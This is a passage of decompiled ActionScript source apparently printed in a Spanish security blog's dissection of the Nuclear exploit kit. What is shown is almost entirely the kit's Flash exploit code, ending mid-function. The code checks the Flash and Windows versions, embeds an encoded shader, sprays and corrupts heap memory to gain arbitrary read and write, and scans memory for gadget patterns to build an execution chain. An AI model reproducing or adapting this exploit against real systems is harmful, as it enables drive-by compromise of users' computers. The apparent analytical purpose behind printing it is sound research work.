Destripando Nuclear EK - Security Art Work - http://www.securityartwork.es - Adrián Macías Franco
    1 
package {
    2 
    import flash.display.*;
    3 
    import flash.utils.*;
    4 
    import __AS3__.vec.*;
    5 
    import flash.system.*;
    6 
    import flash.events.*;
    7 
    import avm2.intrinsics.memory.*;
    8 
 
    9 
    public final class _SafeStr_7 extends MovieClip {
   10 
 
   11 
        private var _SafeStr_18:Shader;
   12 
        private var _SafeStr_19:ByteArray;
   13 
        private var _SafeStr_20:Boolean = false;
   14 
        private var _SafeStr_23:uint = 0;
   15 
        private var _SafeStr_25:String;
   16 
        private var _SafeStr_26:String;
   17 
        private var _SafeStr_27:ByteArray = null;
   18 
        private var _SafeStr_28:uint = 4277009102;
   19 
        private var _SafeStr_29:uint;
   20 
        private var _SafeStr_30:ByteArray = null;
   21 
        private var _SafeStr_31:uint = 3149642683;
   22 
        private var _SafeStr_32:uint;
   23 
        private var _SafeStr_33:Boolean = false;
   24 
        private var _SafeStr_34:uint = 0x1000;
   25 
        private var _SafeStr_35:uint = 0xC00000;
   26 
        private var _SafeStr_36:uint = 0x40000000;
   27 
        private var _SafeStr_37:uint = 3133078208;
   28 
        private var _SafeStr_38:uint = 3133078209;
   29 
        private var _SafeStr_39:uint = 3133078211;
   30 
        private var _SafeStr_40:uint = 3435973836;
   31 
        private var _SafeStr_41:uint = 3722304989;
   32 
        private var _SafeStr_42:int = 2;
   33 
        private var _SafeStr_43:uint;
   34 
        private var _SafeStr_44:uint = 114;
   35 
        private var _SafeStr_45:uint = 4276992702;
   36 
        private var _SafeStr_46:uint = 3133078222;
   37 
        private var _SafeStr_47:int = 504;
   38 
        private var _SafeStr_48:int = 0x2000;
   39 
        private var _SafeStr_49:int;
   40 
        private var _SafeStr_50:Vector.<Object> = null;
   41 
        private var _SafeStr_51:Vector.<Object> = null;
   42 
        private var _SafeStr_52:int = 0;
   43 
        private var _SafeStr_53:Vector.<uint> = null;
   44 
        private var _SafeStr_54:uint = 0;
   45 
        private var _SafeStr_55:uint = 0;
   46 
        private var _SafeStr_56:uint = 0;
   47 
        private var _SafeStr_57:uint = 0;
   48 
        private var _SafeStr_58:uint = 0;
   49 
        private var _SafeStr_59:uint = 0;
   50 
        private var _SafeStr_60:uint = 0;
   51 
        private var _SafeStr_61:uint = 0;
   52 
        private var _SafeStr_62:Vector.<uint> = null;
   53 
        private var _SafeStr_63:uint = 9460301;
   54 
        private var _SafeStr_64:uint = 50068;
   55 
        private var _SafeStr_65:uint = 0xFFFF;
   56 
        private var _SafeStr_66:uint = 3272131715;
   57 
        private var _SafeStr_67:uint = 6816874;
   58 
        private var _SafeStr_68:uint = 0x68000020;
   59 
        private var _SafeStr_69:uint = 0x100000;
   60 
        private var _SafeStr_70:uint = 6816106;
   61 
        private var _SafeStr_71:uint = 0x68000020;
   62 
        private var _SafeStr_72:uint = 0x200000;
   63 
        private var _SafeStr_73:uint = 6816874;
   64 
        private var _SafeStr_74:uint = 0x56000010;
   65 
        private var _SafeStr_75:uint = 4283498891;
   66 
        private var _SafeStr_76:uint = 2128;
   67 
        private var _SafeStr_77:uint = 0xFFFF;
   68 
        private var _SafeStr_78:uint = 0;
   69 
        private var _SafeStr_79:uint = 0;
   70 
        private var _SafeStr_80:uint = 0;
   71 
        private var _SafeStr_81:uint = 0;
   72 
        private var _SafeStr_82:uint = 0;
   73 
        private var _SafeStr_83:uint = 50070;
   74 
        private var _SafeStr_84:uint = 50069;
   75 
        private var _SafeStr_85:uint = 50065;
   76 
        private var _SafeStr_86:uint = 50071;
   77 
        private var _SafeStr_87:uint = 0;
   78 
        private var _SafeStr_88:uint = 0;
   79 
        private var _SafeStr_89:uint = 0;
   80 
        private var _SafeStr_90:uint = 0;
   81 
        private var _SafeStr_91:uint = 0;
   82 
        private var _SafeStr_92:uint = 0;
   83 
        private var _SafeStr_93:uint = 0;
   84 
        private var _SafeStr_94:uint = 0;
   85 
        private var _SafeStr_95:uint = 0;
   86 
        private var _SafeStr_96:uint = 0;
   87 
        private var _SafeStr_97:uint = 0;
   88 
        private var _SafeStr_98:uint = 0;
   89 
        private var _SafeStr_99:Boolean = false;
   90 
        private var _SafeStr_100:Boolean = false;
   91 
        private var _SafeStr_101:Boolean = false;
   92 
        private var _SafeStr_102:Boolean = false;
   93 
        private var _SafeStr_103:Boolean = false;
   94 
        private var _SafeStr_104:Boolean = false;
   95 
        private var _SafeStr_105:Boolean = false;
   96 
        private var static:String = null;
   97 
        private var _SafeStr_106:String = null;
   98 
        private var _SafeStr_107:String = null;
   99 
        private var _SafeStr_108:uint = 0;
  100 
 
  101 
        public function _SafeStr_7(){
  102 
            this._SafeStr_18 = new Shader();
  103 
            this._SafeStr_19 = func_strtobytearr("A501000000A40B004372797374616C6C697A65A00C6E616D657370616365004372797374616C6C697A65206279205065747269204C65736B696E656E00A00C76656E646F720000A00876657273696F6E000100A00C6465736372697074696F6E004372797374616C6C697A65202D66696C74657200A1010200000C5F4F7574436F6F726400A1010100000273697A6500A2016D696E56616C7565003F800000A2016D617856616C75650043960000330300C0018000000200B040020010401D0200C103001000300300F1020010001D0100F303001B00A20764656661756C7456616C75650041A00000000B388000004242434343434444444441414141424242424343434344444444414141414242424243434343444444444141414142424242434343433400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000034000000018000003400000001800000340000000180000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000360000000000000036000000000000003600000000000000A20C6465736372697074696F6E0073697A6500A3000473726300A1020401000F647374001D00001000008000320200804600200032020040C2C80000320300803F7374BC32030040BE9E353F320300203E9E353F320300103F7374BC1D040004030000001D0500F30000FF000304000405000000320300803F7374BC320300403E9E353F32030020BE9E353F320300103F7374BC320200204600200032020010C2C800001D0500C100001000020500C10200B0001D020031050010002202003403000000040300C10000F000030300C10200B0001A02003103001000320300803F0000001D0300610200B00001030061030000001D0200310300600022020034040000001D0300C102001000010300C10200B0001D0200C103001000320200203F8666661D0200100200800003020010000080001D0000100200C00032020020C60020003202001046002000320300803F5DB22D32030040BF000000320300203F000000320300103F5DB22D1D040004030000001D0500F30000FF000304000405000000320300803F5DB22D320300403F00000032030020BF000000320300103F5DB22D32050080C600200032050040460020001D0500310000100002050031050010001D0500C10500B000220500C403000000040300C10000F000030300C1050010001A03003103001000320300803F0000001D0500C10300B000010500C1030000001D0300C105001000220300C4040000001D0300310200B00001030031030010001D0200310300B0001D0300C10200B000020300C10000100024030021030010001D0300C102001000020300C10000100024030011030010002A0300200300C0001D01808000800000330300C0018000000200B040020010401D0200C103001000320300803F7333331D0300400300000003030040000080001D00001003004000040300C10000F000030300C1000010001A03003103001000320300803F0000001D0400C10300B000010400C1030000001D0300C10000F000030300C1040010001D020031030010001D0300C10200B000020300C10000100024030021030010001D0300C102001000020300C10000100024030011030010002A0300200300C0001D01808000800000330300C0018000000200B040020010401D0200C103001000300300F1020010001D0100F303001B00");
  104 
            this._SafeStr_25 = "uncompress";
  105 
            this._SafeStr_26 = this._SafeStr_25["substring"](2);
  106 
            this._SafeStr_29 = this._SafeStr_48;
  107 
            this._SafeStr_32 = this._SafeStr_48;
  108 
            this._SafeStr_43 = (5770 * this._SafeStr_42);
  109 
            this._SafeStr_49 = (510 * this._SafeStr_42);
  110 
            super();
  111 
            if (stage){
  112 
                this._SafeStr_112();
  113 
            } else {
  114 
                addEventListener("addedToStage", this._SafeStr_112);
  115 
            };
  116 
        }
  117 
        public static function func_strtobytearr(str:String):ByteArray{
  118 
            var _local4:int;
  119 
            var _local2:int;
  120 
            if ((str.length % 2) != 0){
  121 
                return (null);
  122 
            };
  123 
            var _local3:ByteArray = new ByteArray();
  124 
            _local4 = 0;
  125 
            while (_local4 < str.length) {
  126 
                _local2 = parseInt(("0x" + str.substr(_local4, 2)));
  127 
                _local3.writeByte(_local2);
  128 
                _local4 = (_local4 + 2);
  129 
            };
  130 
            _local3.position = 0;
  131 
            return (_local3);
  132 
        }
  133 
        public static function h2ba(ba:ByteArray, hex:String):ByteArray{
  134 
            var _local4:int;
  135 
            ba.position = ba.length;
  136 
            var _local3:uint = hex.length;
  137 
            _local4 = 0;
  138 
            while (_local4 < _local3) {
  139 
                ba.writeUnsignedInt(("0x" + hex.substr(_local4, 8)));
  140 
                _local4 = (_local4 + 8);
  141 
            };
  142 
            return (ba);
  143 
        }
  144 
 
  145 
        final private function _SafeStr_113():uint{
  146 
            var _local1:int;
  147 
            var _local3:int;
  148 
            var _local4:String = Capabilities.version.toLowerCase();
  149 
            if (_local4.length < 4){
  150 
                return (0);
  151 
            };
  152 
            var _local5:String = _local4.substr(0, 4);
  153 
            if (_local5 != "win"){
  154 
                return (0);
  155 
            };
  156 
            _local4 = _local4.substr(4);
  157 
            var _local2:Array = _local4.split(",");
  158 
            if (_local2.length != 4){
  159 
                return (0);
  160 
            };
  161 
            _local1 = _local2[0];
  162 
            _local3 = (_local3 + _local1);
  163 
            _local1 = _local2[1];
  164 
            _local3 = (_local3 * 10);
  165 
            _local3 = (_local3 + _local1);
  166 
            _local1 = _local2[2];
  167 
            _local3 = (_local3 * 1000);
  168 
            _local3 = (_local3 + _local1);
  169 
            _local1 = _local2[3];
  170 
            _local3 = (_local3 * 1000);
  171 
            _local3 = (_local3 + _local1);
  172 
            return (_local3);
  173 
        }
  174 
        final private function _SafeStr_114():Boolean{
  175 
            this._SafeStr_108 = this._SafeStr_113();
  176 
            if (this._SafeStr_108 == 0){
  177 
                return (false);
  178 
            };
  179 
            this.static = Capabilities.os.toLowerCase();
  180 
            this._SafeStr_106 = Capabilities.playerType.toLowerCase();
  181 
            this._SafeStr_107 = this._SafeStr_108;
  182 
            if (((!((this._SafeStr_106 == "activex"))) && (!((this._SafeStr_106 == "plugin"))))){
  183 
                return (false);
  184 
            };
  185 
            this._SafeStr_101 = (this.static == "windows 8");
  186 
            this._SafeStr_102 = (this.static == "windows 8.1");
  187 
            this._SafeStr_103 = this._SafeStr_102;
  188 
            this._SafeStr_104 = ((((this._SafeStr_101) || (this._SafeStr_102))) || (this._SafeStr_103));
  189 
            this._SafeStr_105 = (this._SafeStr_108 >= 150000223);
  190 
            this._SafeStr_20 = (((this._SafeStr_108 <= 117700275)) || ((((this._SafeStr_108 >= 118000000)) && ((this._SafeStr_108 <= 130000182)))));
  191 
            return ((((((((this._SafeStr_108 >= 130000259)) && ((this._SafeStr_108 < 140000000)))) || ((this._SafeStr_108 == 150000246)))) || ((this._SafeStr_108 >= 160000235))));
  192 
        }
  193 
        final private function _SafeStr_116(_arg_1:ByteArray, _arg_2:int):void{
  194 
            var _local3:int;
  195 
            _arg_1.position = 0;
  196 
            while (_local3 < (_arg_1.length / 4)) {
  197 
                _arg_1.writeInt(_arg_2);
  198 
                _local3++;
  199 
            };
  200 
            _arg_1.position = 0;
  201 
        }
  202 
        final private function _SafeStr_117(_arg_1:uint):uint{
  203 
            var _local2:uint = (_arg_1 / 4);
  204 
            return (((_local2 - this._SafeStr_55) & (this._SafeStr_36 - 1)));
  205 
        }
  206 
        final private function _SafeStr_118(_arg_1:uint):uint{
  207 
            var _local8:uint = this._SafeStr_117(_arg_1);
  208 
            var _local3:uint = (_arg_1 % 4);
  209 
            if (_local3 == 0){
  210 
                return (this._SafeStr_53[_local8]);
  211 
            };
  212 
            var _local2:uint = (1 << (_local3 * 8));
  213 
            var _local5:uint = (1 << ((4 - _local3) * 8));
  214 
            var _local4:uint = this._SafeStr_53[_local8];
  215 
            var _local7:uint = this._SafeStr_53[(_local8 + 1)];
  216 
            _local4 = (_local4 / _local2);
  217 
            _local7 = (_local7 * _local5);
  218 
            var _local6:uint = (_local4 | _local7);
  219 
            return (_local6);
  220 
        }
  221 
        final private function _SafeStr_119(_arg_1:uint, _arg_2:uint):void{
  222 
            var _local4:uint = this._SafeStr_117(_arg_1);
  223 
            var _local3:uint = (_arg_1 % 4);
  224 
            if (_local3 == 0){
  225 
                this._SafeStr_53[_local4] = _arg_2;
  226 
                return;
  227 
                /*not popped
  228 
                trace(_arg_2.toString(16))
  229 
                */
  230 
            };
  231 
        }
  232 
        final private function _SafeStr_120(_arg_1:int):int{
  233 
            return (op_li32(_arg_1) /*Alchemy*/ );
  234 
        }
  235 
        final private function _SafeStr_121(_arg_1:uint):uint{
  236 
            return (this._SafeStr_120(_arg_1));
  237 
        }
  238 
        final private function _SafeStr_122(_arg_1:int, _arg_2:int):void{
  239 
            op_si32(_arg_2, _arg_1); //Alchemy
  240 
        }
  241 
        final private function _SafeStr_123(_arg_1:uint, _arg_2:uint):void{
  242 
            this._SafeStr_122(_arg_1, _arg_2);
  243 
        }
  244 
        final private function _SafeStr_124():Boolean{
  245 
            var _local3:int;
  246 
            this._SafeStr_30 = new ByteArray();
  247 
            this._SafeStr_30.endian = "littleEndian";
  248 
            this._SafeStr_27 = new ByteArray();
  249 
            this._SafeStr_27.endian = "littleEndian";
  250 
            this._SafeStr_27.position = 0;
  251 
            while (_local3 < (this._SafeStr_29 / 4)) {
  252 
                this._SafeStr_27.writeUnsignedInt((this._SafeStr_28 + _local3));
  253 
                _local3++;
  254 
            };
  255 
            var _local1 = this._SafeStr_27;
  256 
            _local1[this._SafeStr_26]();
  257 
            var _local4:uint = 0x0200;
  258 
            this._SafeStr_27.position = _local4;
  259 
            var _local2:int = _local4;
  260 
            while (_local2 < this._SafeStr_27.length) {
  261 
                this._SafeStr_27.writeByte(_local2);
  262 
                _local2++;
  263 
            };
  264 
            ApplicationDomain.currentDomain.domainMemory = this._SafeStr_27;
  265 
            return (true);
  266 
        }
  267 
        final private function _SafeStr_125():int{
  268 
            var _local1:int = ((this._SafeStr_49 * 4) / 5);
  269 
            if ((_local1 % 2) == 0){
  270 
                _local1++;
  271 
            };
  272 
            return (_local1);
  273 
        }
  274 
        final private function _SafeStr_126():void{
  275 
            var _local3:int;
  276 
            var _local4 = null;
  277 
            var _local1:*;
  278 
            this._SafeStr_50 = new Vector.<Object>(this._SafeStr_49);
  279 
            _local3 = 0;
  280 
            while (_local3 < this._SafeStr_49) {
  281 
                _local4 = new ByteArray();
  282 
                this._SafeStr_50[_local3] = _local4;
  283 
                _local4.endian = "littleEndian";
  284 
                _local3++;
  285 
            };
  286 
            var _local2:int = this._SafeStr_125();
  287 
            _local3 = 0;
  288 
            while (_local3 < this._SafeStr_49) {
  289 
                if (_local2 == _local3){
  290 
                    try {
  291 
                        _local1 = this._SafeStr_27;
  292 
                        _local1[this._SafeStr_25]();
  293 
                    } catch(error:Error) {
  294 
                    };
  295 
                    this._SafeStr_30.length = this._SafeStr_32;
  296 
                    this._SafeStr_116(this._SafeStr_30, this._SafeStr_31);
  297 
                } else {
  298 
                    _local4 = (this._SafeStr_50[_local3] as ByteArray);
  299 
                    _local4.length = this._SafeStr_48;
  300 
                    this._SafeStr_116(_local4, this._SafeStr_40);
  301 
                    _local4.writeInt(this._SafeStr_37);
  302 
                    _local4.writeInt(this._SafeStr_38);
  303 
                    _local4.writeInt(_local3);
  304 
                    _local4.writeInt(this._SafeStr_39);
  305 
                };
  306 
                _local3++;
  307 
            };
  308 
        }
  309 
        final private function _SafeStr_127():void{
  310 
            var _local2:int;
  311 
            var _local3 = null;
  312 
            var _local1:int = this._SafeStr_125();
  313 
            _local2 = 0;
  314 
            while (_local2 < this._SafeStr_49) {
  315 
                if (_local2 == _local1){
  316 
                    this._SafeStr_30.clear();
  317 
                } else {
  318 
                    if ((_local2 % 2) == 1){
  319 
                        _local3 = (this._SafeStr_50[_local2] as ByteArray);
  320 
                        this._SafeStr_116(_local3, this._SafeStr_41);
  321 
                        _local3.clear();
  322 
                    };
  323 
                };
  324 
                _local2++;
  325 
            };
  326 
        }
  327 
        final private function _SafeStr_128():void{
  328 
            var _local1:int;
  329 
            var _local2:*;
  330 
            this._SafeStr_51 = new Vector.<Object>(this._SafeStr_43);
  331 
            _local1 = 0;
  332 
            while (_local1 < this._SafeStr_43) {
  333 
                this._SafeStr_51[_local1] = new Vector.<uint>();
  334 
                _local1++;
  335 
            };
  336 
            _local1 = 0;
  337 
            while (_local1 < this._SafeStr_43) {
  338 
                _local2 = (this._SafeStr_51[_local1] as Vector.<uint>);
  339 
                _local2.length = this._SafeStr_44;
  340 
                _local2[0] = this._SafeStr_45;
  341 
                _local2[1] = _local1;
  342 
                _local2[2] = this._SafeStr_46;
  343 
                _local1++;
  344 
            };
  345 
        }
  346 
        final private function _SafeStr_129():Boolean{
  347 
            var _local1:uint = this._SafeStr_121(0);
  348 
            if (_local1 != this._SafeStr_31){
  349 
                return (false);
  350 
            };
  351 
            this._SafeStr_127();
  352 
            this._SafeStr_128();
  353 
            _local1 = this._SafeStr_121(0);
  354 
            if (_local1 == this._SafeStr_31){
  355 
                return (false);
  356 
            };
  357 
            return (true);
  358 
        }
  359 
        final private function _SafeStr_130():Boolean{
  360 
            var _local2:int;
  361 
            var _local3:int;
  362 
            var _local1:uint = this._SafeStr_48;
  363 
            while (_local3 < _local1) {
  364 
                _local2 = this._SafeStr_121(_local3);
  365 
                if (_local2 == this._SafeStr_44){
  366 
                    _local2 = this._SafeStr_121((_local3 + (this._SafeStr_23 << 3)));
  367 
                    if (_local2 == this._SafeStr_45){
  368 
                        this._SafeStr_33 = false;
  369 
                        this._SafeStr_123(_local3, this._SafeStr_36);
  370 
                        return (true);
  371 
                    };
  372 
                    _local2 = this._SafeStr_121((_local3 + 16));
  373 
                    if (_local2 == this._SafeStr_45){
  374 
                        this._SafeStr_33 = true;
  375 
                        this._SafeStr_123(_local3, this._SafeStr_36);
  376 
                        return (true);
  377 
                    };
  378 
                };
  379 
                _local3 = (_local3 + (this._SafeStr_23 << 2));
  380 
            };
  381 
            return (false);
  382 
        }
  383 
        final private function _SafeStr_131():Boolean{
  384 
            var _local1:*;
  385 
            var _local2:int;
  386 
            while (_local2 < this._SafeStr_43) {
  387 
                _local1 = (this._SafeStr_51[_local2] as Vector.<uint>);
  388 
                if (((!((_local1.length == this._SafeStr_44))) && (!((_local1.length == (this._SafeStr_44 * 2)))))){
  389 
                    this._SafeStr_52 = _local2;
  390 
                    this._SafeStr_53 = _local1;
  391 
                } else {
  392 
                    _local2++;
  393 
                    continue;
  394 
                };
  395 
                return (true);
  396 
            };
  397 
            return (false);
  398 
        }
  399 
        final private function _SafeStr_132():uint{
  400 
            var _local2:int;
  401 
            var _local1:int;
  402 
            var _local4:int;
  403 
            var _local3:int;
  404 
            var _local5:uint = (this._SafeStr_48 * 8);
  405 
            var _local6:uint = (_local5 / 4);
  406 
            while (_local4 < _local6) {
  407 
                _local2 = this._SafeStr_53[_local4];
  408 
                if (_local2 == this._SafeStr_37){
  409 
                    _local1 = _local4;
  410 
                    break;
  411 
                };
  412 
                _local4++;
  413 
            };
  414 
            _local3 = (_local1 * 4);
  415 
            return (_local3);
  416 
        }
  417 
        final private function _SafeStr_133(_arg_1:uint):uint{
  418 
            var _local2:int;
  419 
            var _local5:int;
  420 
            var _local6:int;
  421 
            var _local7:uint = (this._SafeStr_48 * 8);
  422 
            var _local3:uint = (_local7 / 4);
  423 
            var _local4:uint = (_arg_1 / 4);
  424 
            while (_local4 < _local3) {
  425 
                _local2 = this._SafeStr_53[_local4];
  426 
                if (_local2 == this._SafeStr_45){
  427 
                    _local2 = this._SafeStr_53[(_local4 + 2)];
  428 
                    if (_local2 == this._SafeStr_46){
  429 
                        this._SafeStr_60 = this._SafeStr_53[(_local4 + 1)];
  430 
                        _local5 = _local4;
  431 
                        break;
  432 
                    };
  433 
                };
  434 
                _local4++;
  435 
            };
  436 
            _local6 = (_local5 * 4);
  437 
            return (_local6);
  438 
        }
  439 
        final private function _SafeStr_134():Boolean{
  440 
            var _local3:int;
  441 
            var _local11:uint = this._SafeStr_132();
  442 
            if (_local11 == 0){
  443 
                return (false);
  444 
            };
  445 
            var _local12:uint = (this._SafeStr_34 - (_local11 % this._SafeStr_34));
  446 
            var _local2:uint = (_local12 % this._SafeStr_47);
  447 
            if (_local2 == 40){
  448 
                if (this._SafeStr_33){
  449 
                    return (false);
  450 
                };
  451 
            } else {
  452 
                //unresolved if
  453 
                if (!this._SafeStr_33){
  454 
                    return (false);
  455 
                };
  456 
            };
  457 
            var _local1:uint = 8;
  458 
            var _local4:uint = 32;
  459 
            var _local6:uint = 28;
  460 
            if (this._SafeStr_33){
  461 
                _local1 = 16;
  462 
                _local4 = 64;
  463 
                _local3 = 0;
  464 
                _local6 = 56;
  465 
            };
  466 
            var _local5:uint = this._SafeStr_133((_local11 + this._SafeStr_48));
  467 
            if (_local5 == 0){
  468 
                return (false);
  469 
            };
  470 
            _local5 = (_local5 - _local1);
  471 
            var _local7:uint = (_local5 / 4);
  472 
            if (!this._SafeStr_33){
  473 
                this._SafeStr_56 = this._SafeStr_53[(_local7 + 1)];
  474 
            } else {
  475 
                this._SafeStr_56 = this._SafeStr_53[(_local7 + 2)];
  476 
                this._SafeStr_91 = this._SafeStr_53[(_local7 + 3)];
  477 
            };
  478 
            var _local8:uint = ((_local5 - _local11) % this._SafeStr_34);
  479 
            var _local9:uint = (_local5 - _local8);
  480 
            this._SafeStr_62 = (this._SafeStr_51[this._SafeStr_60] as Vector.<uint>);
  481 
            this._SafeStr_62.length = (this._SafeStr_44 * 2);
  482 
            var _local10:uint = (_local9 + _local3);
  483 
            _local7 = (_local10 / 4);
  484 
            this._SafeStr_61 = this._SafeStr_53[_local7];
  485 
            this._SafeStr_54 = (this._SafeStr_61 - _local5);
  486 
            this._SafeStr_55 = (this._SafeStr_54 / 4);
  487 
            this._SafeStr_78 = (this._SafeStr_54 + _local11);
  488 
            _local7 = ((_local9 + _local6) / 4);
  489 
            var _temp1 = _local7;
  490 
            _local7 = (_local7 + 1);
  491 
            this._SafeStr_57 = this._SafeStr_53[_temp1];
  492 
            this._SafeStr_92 = this._SafeStr_53[_local7];
  493 
            this._SafeStr_60 = (this._SafeStr_60 + 1);
  494 
            this._SafeStr_62 = (this._SafeStr_51[this._SafeStr_60] as Vector.<uint>);
  495 
            return (true);
  496 
            return (false);
  497 
        }
  498 
        final private function _SafeStr_135():void{
  499 
            var _local1:uint = (this._SafeStr_36 - 2);
  500 
            this._SafeStr_53[_local1] = this._SafeStr_44;
  501 
            _local1 = (this._SafeStr_36 - 1);
  502 
            this._SafeStr_53[_local1] = this._SafeStr_56;
  503 
        }
  504 
        final private function _SafeStr_136():Boolean{
  505 
            var _local5:int;
  506 
            var _local6:int;
  507 
            var _local2:int;
  508 
            var _local1:int;
  509 
            var _local4:uint = (this._SafeStr_57 & ~((this._SafeStr_34 - 1)));
  510 
            while (true) {
  511 
                _local5 = this._SafeStr_118(_local4);
  512 
                //unresolved if
  513 
                _local4 = (_local4 - this._SafeStr_34);
  514 
            };
  515 
            _local4 = (_local4 + this._SafeStr_34);
  516 
            var _local3:uint = (_local4 + this._SafeStr_35);
  517 
            while ((((((((((((((((this._SafeStr_80 == 0)) || ((this._SafeStr_81 == 0)))) || ((this._SafeStr_82 == 0)))) || ((this._SafeStr_88 == 0)))) || ((this._SafeStr_89 == 0)))) || ((this._SafeStr_90 == 0)))) || ((this._SafeStr_87 == 0)))) || ((this._SafeStr_79 == 0)))) {
  518 
                _local5 = this._SafeStr_118(_local4);
  519 
                if (this._SafeStr_79 == 0){
  520 
                    if (_local5 == this._SafeStr_75){
  521 
                        _local2 = this._SafeStr_118((_local4 + 4));
  522 
                        if ((_local2 & this._SafeStr_77) == this._SafeStr_76){
  523 
                            this._SafeStr_79 = _local4;
  524 
                            _local4 = (_local4 + 5);
  525 
                            continue;
  526 
                        };
  527 
                    };
  528 
                };
  529 
                if (this._SafeStr_80 == 0){
  530 
                    if ((_local5 & this._SafeStr_65) == this._SafeStr_64){
  531 
                        this._SafeStr_80 = _local4;
  532 
                        _local4 = (_local4 + 2);
  533 
                        continue;
  534 
                    };
  535 
                };
  536 
                if (this._SafeStr_88 == 0){
  537 
                    if ((_local5 & this._SafeStr_65) == this._SafeStr_84){
  538 
                        this._SafeStr_88 = _local4;
  539 
                        _local4 = (_local4 + 2);
  540 
                        continue;
  541 
                    };
  542 
                };
  543 
                if (this._SafeStr_89 == 0){
  544 
                    if ((_local5 & this._SafeStr_65) == this._SafeStr_85){
  545 
                        this._SafeStr_89 = _local4;
  546 
                        _local4 = (_local4 + 2);
  547 
                        continue;
  548 
                    };
  549 
                };
  550 
                if (this._SafeStr_87 == 0){
  551 
                    if ((_local5 & this._SafeStr_65) == this._SafeStr_83){
  552 
                        this._SafeStr_87 = _local4;
  553 
                        _local4 = (_local4 + 2);
  554 
                        continue;
  555 
                    };
  556 
                };
  557 
                if (this._SafeStr_90 == 0){
  558 
                    if ((_local5 & this._SafeStr_65) == this._SafeStr_86){
  559 
                        this._SafeStr_90 = _local4;
  560 
                        _local4 = (_local4 + 2);
  561 
                        continue;
  562 
                    };
  563 
                };
  564 
                if (this._SafeStr_81 == 0){
  565 
                    if (_local5 == this._SafeStr_66){
  566 
                        this._SafeStr_81 = _local4;
  567 
                        _local4 = (_local4 + 4);
  568 
                        continue;
  569 
                    };
  570 
                };
  571 
                if (this._SafeStr_82 == 0){
  572 
                    _local6 = _local5;
  573 
                    _local2 = 0;
  574 
                    _local1 = 0;
  575 
                    if (_local6 == this._SafeStr_67){
  576 
                        _local2 = this._SafeStr_118((_local4 + 4));
  577 
                        if (_local2 == this._SafeStr_68){
  578 
                            _local1 = this._SafeStr_118((_local4 + 8));
  579 
                            if (_local1 == this._SafeStr_69){
  580 
                                this._SafeStr_82 = this._SafeStr_118(this._SafeStr_118((_local4 + 15)));
  581 
                                _local4 = (_local4 + 12);
  582 
                                continue;
  583 
                            };
  584 
                        };
  585 
                    };
  586 
                    if (_local6 == this._SafeStr_73){
  587 
                        _local2 = this._SafeStr_118((_local4 + 4));
  588 
                        if (_local2 == this._SafeStr_74){
  589 
                            this._SafeStr_82 = this._SafeStr_118(this._SafeStr_118((_local4 + 11)));
  590 
                            _local4 = (_local4 + 8);
  591 
                            this._SafeStr_100 = true;
  592 
                            continue;
  593 
                        };
  594 
                    };
  595 
                    if (_local6 == this._SafeStr_70){
  596 
                        _local2 = this._SafeStr_118((_local4 + 4));
  597 
                        if (_local2 == this._SafeStr_71){
  598 
                            _local1 = this._SafeStr_118((_local4 + 8));
  599 
                            if (_local1 == this._SafeStr_72){
  600 
                                this._SafeStr_82 = this._SafeStr_118(this._SafeStr_118((_local4 + 15)));
  601 
                                _local4 = (_local4 + 12);
  602 
                                this._SafeStr_99 = true;
  603 
                                continue;
  604 
                            };
  605 
                        };
  606 
                    };
  607 
                };
  608 
                ++_local4;
  609 
                if (_local4 > _local3){
  610 
                    return (false);
  611 
                };
  612 
            };
  613 
            return (true);
  614 
        }
  615 
        final private function _SafeStr_137(_arg_x:String):void{
  616 
            var _local10:int;
  617 
            var _local11:uint = 0x1000;
  618 
            var _local3:uint = (this._SafeStr_48 - _local11);
  619 
            var _local2:uint = this._SafeStr_78;
  620 
            this._SafeStr_59 = (_local2 + _local3);
  621 
            var _local5:uint = 0x0400;
  622 
            var _local4:uint = (_local3 - _local5);
  623 
            this._SafeStr_58 = (_local2 + _local4);
  624 
            var _local7:uint = (this._SafeStr_58 + 384);
  625 
            this._SafeStr_119((this._SafeStr_58 + 4), 65536);
  626 
            this._SafeStr_119((this._SafeStr_58 + 428), 0);
  627 
            this._SafeStr_119((this._SafeStr_58 + 484), _local7);
  628 
            this._SafeStr_119(_local7, this._SafeStr_59);
  629 
            this._SafeStr_119((_local7 + 4), 1);
  630 
            var _local6:uint = 0x0200;
  631 
            while (_local6 < _local5) {
  632 
                this._SafeStr_119((this._SafeStr_58 + _local6), 3735929054);
  633 
                _local6 = (_local6 + 4);
  634 
            };
  635 
            var _local8:uint = this._SafeStr_59;
  636 
            this._SafeStr_119(_local8, this._SafeStr_81);
  637 
            _local8 = (_local8 + 4);
  638 
            this._SafeStr_119(_local8, this._SafeStr_79);
  639 
            _local8 = (_local8 + 4);
  640 
            this._SafeStr_119(_local8, this._SafeStr_80);
  641 
            _local8 = (_local8 + 4);
  642 
            this._SafeStr_119(_local8, this._SafeStr_87);
  643 
            _local8 = (_local8 + 4);
  644 
            this._SafeStr_119(_local8, this._SafeStr_89);
  645 
            _local8 = (_local8 + 4);
  646 
